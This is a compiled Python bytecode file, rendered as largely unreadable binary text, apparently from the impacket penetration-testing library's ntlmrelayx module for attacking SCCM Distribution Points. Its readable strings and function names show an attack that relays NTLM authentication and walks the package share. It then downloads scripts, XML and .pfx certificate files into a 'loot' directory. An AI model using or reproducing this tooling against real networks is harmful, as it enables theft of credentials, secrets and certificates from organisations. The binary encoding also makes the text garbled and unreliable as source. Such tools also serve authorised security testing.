o
    àý°j´   ã                   @   sx   d dl Z d dlZd dlZd dlmZ d dlmZ d dlmZ ddd„ZG dd	„ d	eƒZ	G d
d„ deƒZ
G dd„ dƒZdS )é    N)Ú
HTMLParser)Údatetime)ÚLOGÚ c                 C   s¦   t |  ¡ ƒ}t|ƒD ]F\}}|t|ƒd k}t| | tƒr@| |› |r%dnd› |› d�¡ |› |r3dnd› �}t| | ||ƒ q
| |› |rHdnd› |› d�¡ q
d S )Né   u
   â””â”€â”€ u
   â”œâ”€â”€ z/
z    u   â”‚   Ú
)ÚlistÚkeysÚ	enumerateÚlenÚ
isinstanceÚdictÚwriteÚ
print_tree)ÚdÚoutÚprefixr	   ÚiÚkeyÚis_lastÚ
new_prefix© r   ú°/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/impacket/examples/ntlmrelayx/attacks/httpattacks/sccmdpattack.pyr      s    "ùr   c                       s$   e Zd Z‡ fdd„Zdd„ Z‡  ZS )ÚPackageIDsRetrieverc                    s   t ƒ  ¡  tƒ | _d S ©N)ÚsuperÚ__init__ÚsetÚpackage_ids©Úself©Ú	__class__r   r   r   '   s   
zPackageIDsRetriever.__init__c                 C   sZ   |dkr)|D ]$}|d dkr(|d }|  d¡}|d  ¡ }| d¡s(| j |¡ qd S d S )NÚar   Úhrefr   ú/éÿÿÿÿz.INI)ÚsplitÚstripÚendswithr   Úadd)r    ÚtagÚattrsÚattrr$   ÚpartsÚ	last_partr   r   r   Úhandle_starttag+   s   

€ùz#PackageIDsRetriever.handle_starttag)Ú__name__Ú
__module__Ú__qualname__r   r0   Ú__classcell__r   r   r!   r   r   &   s    r   c                       s,   e Zd Z‡ fdd„Zdd„ Zdd„ Z‡  ZS )ÚFilesAndDirsRetrieverc                    s   t ƒ  ¡  g | _d| _d S )Nr   )r   r   ÚlinksÚprevious_datar   r!   r   r   r   6   s   

zFilesAndDirsRetriever.__init__c                 C   s>   || _ |dkrt|ƒ d¡}|r| j || jf¡ d S d S d S )Nr#   r$   )Úcurrent_tagr   Úgetr6   Úappendr7   )r    r+   r,   r$   r   r   r   r0   ;   s   ýz%FilesAndDirsRetriever.handle_starttagc                 C   s   |  ¡ | _d S r   )r(   r7   )r    Údatar   r   r   Úhandle_dataB   s   z!FilesAndDirsRetriever.handle_data)r1   r2   r3   r   r0   r<   r4   r   r   r!   r   r5   5   s    r5   c                   @   sP   e Zd ZdZddiZdd„ Zdd„ Zdd	„ Zd
d„ Zdd„ Z	dd„ Z
dd„ ZdS )ÚSCCMDPAttacké   z
User-AgentzSMS CCM 5.0 TSc              
   C   sÈ  t  d¡ | jjdkrdnd› d| jj› �| _| jj› dt ¡  d¡› d�| _	| j
jd kr4g d	¢| j
_n| j
j ¡ s?g | j
_nd
d„ | j
j d¡D ƒ| j
_ztj| j	dd� t  d| j	› �¡ W n ty{ } zt  d|› �¡ W Y d }~d S d }~ww | j
jd u r­zt  d¡ tƒ | _|  ¡  W n ty¬ } zt  d|› �¡ W Y d }~d S d }~ww zt  d¡ |  ¡  t  d¡ W n tyØ } zt  d|› �¡ W Y d }~d S d }~ww t  d| j	› �¡ d S )NzStarting SCCM DP attacki»  ÚhttpsÚhttpz://Ú_z%Y%m%d%H%M%SÚ_sccm_dp_loot)z.ps1z.batz.xmlz.txtz.pfxc                 S   s   g | ]}|  ¡ ‘qS r   )r(   )Ú.0Úxr   r   r   Ú
<listcomp>W   s    z%SCCMDPAttack._run.<locals>.<listcomp>ú,T©Úexist_okzLoot directory is: z&Error creating base output directory: z#Retrieving package IDs from DatalibzCEncountered an error while indexing files from Distribution Point: zPerforming file downloadzFile download performedz5Encountered an error while downloading target files: z-DONE - attack finished. Check loot directory )r   ÚinfoÚclientÚportÚhostÚdistribution_pointr   ÚnowÚstrftimeÚloot_dirÚconfigÚSCCMDPExtensionsr(   r'   ÚosÚmakedirsÚ	ExceptionÚerrorÚSCCMDPFilesÚdebugr   r   Úfetch_package_ids_from_datalibÚdownload_target_files)r    ÚerrÚer   r   r   Ú_runM   sH   
$ 
€þ
€þ
€þzSCCMDPAttack._runc                 C   s^   g }t |tƒr-| ¡ D ]!\}}|d u r"| t| jjƒ¡r"| |¡ q| |  	|| ¡¡ q|S r   )
r   r   Úitemsr)   ÚtuplerQ   rR   r:   ÚextendÚrecursive_file_extract)r    r;   Úto_downloadr   Úvaluer   r   r   ra   x   s   
z#SCCMDPAttack.recursive_file_extractc           
      C   s
  |D ]€}z^t j |¡}d |j d¡dd … ¡}|j d¡d }| jjd|| jd� | j 	¡  
¡ }| j› d|› d|› �}t|dƒ�}| |¡ W d   ƒ n1 sQw   Y  t d	|› d
|› �¡ W q ty‚ }	 zt d|› �¡ t |	› ¡ W Y d }	~	qd }	~	ww d S )NÚ__r%   é   é   ÚGET©Úheadersú
/packages/ÚwbzPackage z - downloaded file z/[!] Error when downloading the following file: )ÚurllibÚparseÚurlparseÚjoinÚpathr'   rJ   ÚrequestÚDP_DOWNLOAD_HEADERSÚgetresponseÚreadrP   Úopenr   r   rI   rU   rV   )
r    ÚfilesÚfileÚ
parsed_urlÚfilenameÚpackageÚrÚoutput_fileÚfr\   r   r   r   Údownload_filesƒ   s$   ÿ€þõzSCCMDPAttack.download_filesc                 C   sê   | j jd urot| j jdƒ�}| ¡  ¡ }W d   ƒ n1 sw   Y  tƒ }g }|D ]+}z| tj 	|¡j
 d¡d ¡ | ¡ d urG| |¡ W q*   t d|› �¡ Y q*|D ]}tj| j› d|› �dd� qX|  |¡ d S |  ¡  d S )Nr{   r%   rf   z!(Skipping) URL has wrong format: rj   TrG   )rQ   rW   ru   rt   Ú
splitlinesr   r*   rl   rm   rn   rp   r'   r(   r:   r   rV   rS   rT   rP   r~   Úhandle_packages)r    r}   Úcontentsr   rb   rw   Ú
package_idr   r   r   rZ   ”   s$   ÿ€z"SCCMDPAttack.download_target_filesc                 C   s  t | j› d�dƒ�r}t| jƒD ]d\}}|i i}|  || | j› d|› �d¡ t||ƒ |  || ¡}t|ƒdkrMt	 
d|› d|d › dt| jƒ› d	�¡ qtj| j› d
|› �dd� |  |¡ t	 
d|› d|d › dt| jƒ› d	�¡ qW d   ƒ n1 s~w   Y  t	 d¡ d S )Nz
/index.txtr#   z/sms_dp_smspkg$/r   zHandled package z (r   r%   ú)rj   TrG   z[+] Package handling complete)ru   rP   r
   r   Ú!recursive_package_directory_fetchrM   r   ra   r   r   rX   rS   rT   r~   rI   )r    r}   r   r‚   Úpackage_indexrb   r   r   r   r€   ¨   s   
(
*öÿzSCCMDPAttack.handle_packagesc           	      C   s¾   |d7 }| j jd|| jd� | j  ¡  ¡ }tƒ }| | ¡ ¡ g }|jD ]/}d|d v rL|| j	krEi ||d < |  
||d  |d |¡ q$d||d < q$| |d ¡ q$|D ]}d ||< qVd S )Nr   rg   rh   z<dir>r   zMaximum recursion depth reached)rJ   rq   rr   rs   rt   r5   ÚfeedÚdecoder6   Úmax_recursion_depthr„   r:   )	r    ÚobjectÚ	directoryÚdepthr{   Úparserrv   r$   rw   r   r   r   r„   ¸   s    


ÿz.SCCMDPAttack.recursive_package_directory_fetchc                 C   sn   | j jd| j› d�| jd� | j  ¡  ¡ }tƒ }| | ¡ ¡ |j	| _	t
 dt| j	ƒ› d�¡ t
 | j	¡ d S )Nrg   z/sms_dp_smspkg$/Datalibrh   zFound z	 packages)rJ   rq   rM   rr   rs   rt   r   r†   r‡   r   r   rI   r   rX   )r    r{   ÚpackageIDs_parserr   r   r   rY   Ï   s   z+SCCMDPAttack.fetch_package_ids_from_datalibN)r1   r2   r3   rˆ   rr   r]   ra   r~   rZ   r€   r„   rY   r   r   r   r   r=   G   s    ÿ+r=   )r   )rS   Újsonrl   Úhtml.parserr   r   Úimpacketr   r   r   r5   r=   r   r   r   r   Ú<module>   s   
